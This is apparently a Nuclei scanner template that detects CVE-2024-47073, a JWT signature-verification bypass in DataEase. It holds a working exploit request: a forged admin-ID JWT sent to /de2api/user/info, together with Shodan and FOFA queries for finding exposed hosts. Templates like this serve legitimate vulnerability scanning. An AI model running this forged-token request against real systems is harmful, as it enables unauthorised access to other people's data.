DataEase v2.10.2 - JWT Signature Verification Bypass

id: CVE-2024-47073

info:
  name: DataEase v2.10.2 - JWT Signature Verification Bypass
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    DataEase is an open source data visualization analysis tool that helps users quickly analyze data and gain insights into business trends. In affected versions, the lack of signature verification of JWT tokens allows attackers to forge JWTs, which then allow access to any interface. The vulnerability has been fixed in v2.10.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Attackers can forge JWT tokens to bypass authentication and gain unauthorized access to any interface.
  remediation: |
    Update DataEase to version 2.10.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47073
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-47073
    cwe-id: CWE-347
    epss-score: 0.01223
    epss-percentile: 0.65131
    cpe: cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: dataease
    product: dataease
    shodan-query: http.html:"dataease"
    fofa-query: body="dataease"
  tags: cve,cve2024,dataease,jwt,vuln

variables:
  payload: '{"uid":1,"oid":1,"exp":{{unix_time(1000)}}}'
  token: '{{generate_jwt(payload,"HS256","random") }}'

http:
  - raw:
      - |
        GET /de2api/user/info HTTP/1.1
        Host: {{Hostname}}
        X-DE-TOKEN: {{token}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - data
          - '"oid":"1"'
          - code
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220045ae0ce3a60f25a9a059f47b8e0ad06b719a2b425ab10a8c8b2f89fa43a8781022100853473761930aa84930d9284adc0da9e091d77745ded7f5b102dc78e169f0b88:922c64590222798bb761d5b6d8e72950